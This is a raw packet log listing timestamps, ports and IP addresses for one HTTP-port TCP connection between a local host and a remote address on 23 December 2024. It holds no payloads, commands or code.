Dec 23, 2024 08:31:47.925129890 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.925179005 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:47.925755024 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.925843000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.925856113 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.925903082 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:47.925971031 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.926026106 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:47.926605940 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:47.981785059 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.048926115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.048943996 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.048957109 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049000978 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.049063921 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049114943 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.049268007 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049279928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049297094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049339056 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.049851894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049865007 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049876928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.049899101 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.049930096 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.050012112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.050704956 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.050754070 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.050887108 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.050899982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.050935030 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.051054001 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.051575899 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.051629066 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.051769972 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.051783085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.051817894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.051830053 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.052376986 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052391052 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052403927 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052414894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052427053 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.052442074 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.052522898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052535057 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052546978 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.052568913 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.052598000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.053520918 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.054250002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.054260969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.054299116 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.054415941 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.054430008 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.054460049 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.055022001 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.055035114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.055071115 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.055201054 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.055213928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.055249929 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.055895090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.055951118 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.056082010 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056093931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056130886 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.056246042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056417942 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056432009 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056444883 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056456089 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.056463003 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.056478024 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.057704926 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.057717085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.057729006 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.057760000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.057792902 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.057873011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.058429003 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.058481932 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.058621883 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.058634043 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.058665991 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.058820963 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.059357882 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.059370041 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.059381008 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.059405088 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.059437037 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.059498072 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.060033083 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.060213089 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.060225010 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.060260057 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.060286045 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.060395956 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061086893 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061141968 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.061254025 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061265945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061300993 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.061312914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061836958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.061903954 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.062028885 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.062053919 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.062856913 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.109896898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.109978914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110018015 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110045910 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.110089064 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110152006 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.110174894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110229969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110286951 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110337973 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.110733032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110791922 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.110845089 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110896111 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.110944986 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.110950947 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.111618996 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.111677885 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.111679077 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.111701012 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.111754894 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.111840010 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.112420082 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.112474918 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.112498999 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.112512112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.112555981 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.112622023 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.113281965 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.113339901 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.113344908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.113359928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.113399029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.113497972 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.114104033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.114151955 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.177257061 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177323103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177352905 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177382946 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.177489042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177561045 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.177624941 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177660942 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.177720070 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.177726984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.178354979 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.178406000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.178447962 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.178483009 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.178518057 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.178543091 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.179215908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179250002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179285049 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179320097 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.179351091 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.179621935 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179696083 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179730892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179783106 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.179816008 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.179862022 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.180450916 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.180550098 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.180583000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.180633068 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.239804029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.239829063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.239840984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.239970922 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.240005970 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.240067959 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.240144968 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.240210056 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.240221977 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.240262032 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.240340948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.240396023 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.240952969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241017103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241029024 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241072893 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.241151094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241195917 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.241836071 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241888046 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241899014 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.241940975 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.242018938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.242662907 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.242711067 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.242724895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.242736101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.242763042 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.242891073 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.242935896 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.243515015 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.243582964 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.243593931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.243648052 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.243712902 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.243762016 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.244386911 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.244452953 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.244465113 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.244505882 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.244586945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.244630098 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.245258093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.245326042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.245338917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.245381117 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.245459080 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.245501995 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.246095896 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.246181965 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.246193886 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.246241093 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.246278048 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.246329069 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.246974945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247030973 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247042894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247096062 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.247170925 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247215033 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.247814894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247860909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247872114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.247911930 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.248009920 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.248054981 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.248694897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.248749971 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.248761892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.248810053 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.248887062 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.248929024 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.249536991 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.249614954 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.249628067 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.249665976 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.249747992 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.249794006 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.250380993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.250469923 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.250483036 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.250529051 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.250579119 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.250633955 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.251256943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.251342058 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.251354933 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.251400948 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.251461983 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.251504898 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.252101898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.252173901 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.252186060 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.252228022 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.252331972 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.252372026 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.252947092 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.253014088 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.253026962 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.253072023 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.301794052 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.301834106 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.301846981 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.301925898 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.301939011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.301989079 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.302141905 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302185059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302196026 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302237034 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.302705050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302750111 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.302772045 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302807093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302932978 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.302974939 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.303550005 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.303608894 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.303622007 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.303634882 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.303658962 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.303792000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.304445982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.304490089 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.304516077 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.304527044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.304555893 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.304665089 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.305285931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.305337906 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.305366993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.305380106 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.305490017 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.305543900 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.306128979 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.306180000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.306193113 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.306205988 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.306242943 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.306332111 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.356834888 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.369473934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369558096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369596004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369632959 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369677067 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.369724989 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.369860888 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369918108 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369952917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.369976044 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.370460033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.370516062 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.370551109 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.370573997 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.370601892 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.370655060 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.371279955 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.371401072 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.371436119 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.371464014 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.371474981 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:48.371485949 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:48.372169018 CET	80	49714	185.215.113.16	192.168.2.8
